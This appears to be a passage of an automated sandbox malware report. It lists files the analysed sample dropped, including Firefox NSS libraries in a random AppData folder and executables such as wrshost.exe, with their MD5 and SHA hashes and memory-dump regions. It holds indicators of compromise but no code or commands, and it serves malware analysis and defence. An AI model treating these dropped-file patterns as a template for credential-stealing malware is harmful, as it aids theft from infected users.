SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
MD5
60acd24430204ad2dc7f148b8cfe9bdc

SHA1
989f377b9117d7cb21cbe92a4117f88f9c7693d9

SHA256
9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

SHA512
626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

Download Submit
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
MD5
60acd24430204ad2dc7f148b8cfe9bdc

SHA1
989f377b9117d7cb21cbe92a4117f88f9c7693d9

SHA256
9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

SHA512
626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

Download Submit
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll
MD5
eae9273f8cdcf9321c6c37c244773139

SHA1
8378e2a2f3635574c106eea8419b5eb00b8489b0

SHA256
a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

SHA512
06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

Download Submit
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\msvcp140.dll
MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

Download Submit
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll
MD5
4e8df049f3459fa94ab6ad387f3561ac

SHA1
06ed392bc29ad9d5fc05ee254c2625fd65925114

SHA256
25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

SHA512
3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

Download Submit
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\vcruntime140.dll
MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll
MD5
f964811b68f9f1487c2b41e1aef576ce

SHA1
b423959793f14b1416bc3b7051bed58a1034025f

SHA256
83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

SHA512
565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

Download Submit
\Users\Admin\AppData\Local\Temp\b35bc50e-fc56-4239-a7d0-bb79118b31c9\AgileDotNetRT.dll
MD5
14ff402962ad21b78ae0b4c43cd1f194

SHA1
f8a510eb26666e875a5bdd1cadad40602763ad72

SHA256
fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b

SHA512
daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b

Download Submit
\Users\Admin\AppData\Local\Temp\d5826601-c1fb-4502-b6a6-7bd4388c1d4b\Xxl.dll
MD5
14ff402962ad21b78ae0b4c43cd1f194

SHA1
f8a510eb26666e875a5bdd1cadad40602763ad72

SHA256
fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b

SHA512
daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b

Download Submit
\Users\Admin\AppData\Local\Temp\mtHW7CPZSz.exe
MD5
e4af65926953c2d5d2ed805f024687bc

SHA1
bdb1de70cac2902e38c2500372c25223e31482ce

SHA256
b2892c256c19c2a1b5b02bddb53fdd719690773719ae5181d9112b82029bea76

SHA512
1b4b7bd0b810af9f7d189b810e116f477a019b076d506bc808a62e7facba1475dfae5a771c5306b4a41a8590a9fa47db1e2f7a928a09ccc18b3cdb66019a30f4

Download Submit
\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
\Users\Admin\AppData\Local\Temp\wrshost.exe
MD5
e4af65926953c2d5d2ed805f024687bc

SHA1
bdb1de70cac2902e38c2500372c25223e31482ce

SHA256
b2892c256c19c2a1b5b02bddb53fdd719690773719ae5181d9112b82029bea76

SHA512
1b4b7bd0b810af9f7d189b810e116f477a019b076d506bc808a62e7facba1475dfae5a771c5306b4a41a8590a9fa47db1e2f7a928a09ccc18b3cdb66019a30f4

Download Submit
memory/1004-302-0x0000000000000000-mapping.dmp

Download
memory/1004-0-0x00000000741E0000-0x00000000748CE000-memory.dmp

Filesize
6.9MB

Download
memory/1004-5-0x00000000007B0000-0x00000000007C6000-memory.dmp

Filesize
88KB

Download
memory/1004-3-0x00000000003C0000-0x00000000003F6000-memory.dmp

Filesize
216KB

Download
memory/1004-1-0x0000000000930000-0x0000000000931000-memory.dmp

Filesize
4KB

Download
memory/1236-295-0x0000000000427F4A-mapping.dmp

Download
memory/1236-297-0x0000000000400000-0x00000000004E8000-memory.dmp

Filesize
928KB

Download
memory/1236-293-0x0000000000400000-0x00000000004E8000-memory.dmp

Filesize
928KB

Download
memory/1264-10-0x000007FEF5E90000-0x000007FEF610A000-memory.dmp

Filesize
2.5MB

Download
memory/1268-300-0x0000000000000000-mapping.dmp

Download
memory/1480-305-0x0000000000000000-mapping.dmp

Download
memory/1480-311-0x0000000001260000-0x0000000001261000-memory.dmp

Filesize
4KB

Download
memory/1480-308-0x00000000741E0000-0x00000000748CE000-memory.dmp

Filesize
6.9MB

Download
memory/1524-33-0x0000000000000000-mapping.dmp

Download
memory/1540-290-0x0000000000000000-mapping.dmp

Download
memory/1540-294-0x000007FEF4FF0000-0x000007FEF59DC000-memory.dmp

Filesize
9.9MB

Download
memory/1540-320-0x0000000000570000-0x0000000000572000-memory.dmp

Filesize
8KB

Download
memory/1540-298-0x0000000000E40000-0x0000000000E41000-memory.dmp

Filesize
4KB

Download
memory/1576-334-0x0000000000400000-0x00000000004E8000-memory.dmp

Filesize
928KB

Download
memory/1576-332-0x0000000000427F4A-mapping.dmp

Download
memory/1600-322-0x0000000140000000-0x0000000140703000-memory.dmp

Filesize
7.0MB

Download
memory/1600-325-0x0000000140000000-0x0000000140703000-memory.dmp

Filesize
7.0MB

Download
memory/1600-324-0x0000000140000000-0x0000000140703000-memory.dmp

Filesize
7.0MB

Download
memory/1600-323-0x00000001402A7C88-mapping.dmp

Download
memory/1636-329-0x0000000000427F4A-mapping.dmp

Download
memory/1660-35-0x0000000000000000-mapping.dmp

Download
memory/1712-8-0x000000000043FF20-mapping.dmp

Download
memory/1712-7-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1712-9-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1800-28-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/1800-26-0x0000000000340000-0x0000000000357000-memory.dmp

Filesize
92KB

Download
memory/1800-20-0x0000000000000000-mapping.dmp

Download
memory/1800-286-0x00000000005D0000-0x00000000005DA000-memory.dmp

Filesize
40KB

Download
memory/1800-23-0x0000000072EA0000-0x000000007358E000-memory.dmp

Filesize
6.9MB

Download
memory/1800-24-0x0000000001260000-0x0000000001261000-memory.dmp

Filesize
4KB

Download
memory/1800-27-0x00000000007C0000-0x00000000007DF000-memory.dmp

Filesize
124KB

Download
memory/1888-303-0x0000000000000000-mapping.dmp

Download
memory/1948-30-0x0000000000000000-mapping.dmp

Download
memory/1948-34-0x000007FEF4FF0000-0x000007FEF59DC000-memory.dmp

Filesize
9.9MB

Download
memory/1948-36-0x0000000000840000-0x0000000000841000-memory.dmp

Filesize
4KB

Download
memory/2016-307-0x0000000000000000-mapping.dmp

Download
memory/2016-310-0x00000000741E0000-0x00000000748CE000-memory.dmp

Filesize
6.9MB

Download
memory/2036-301-0x0000000000000000-mapping.dmp

Download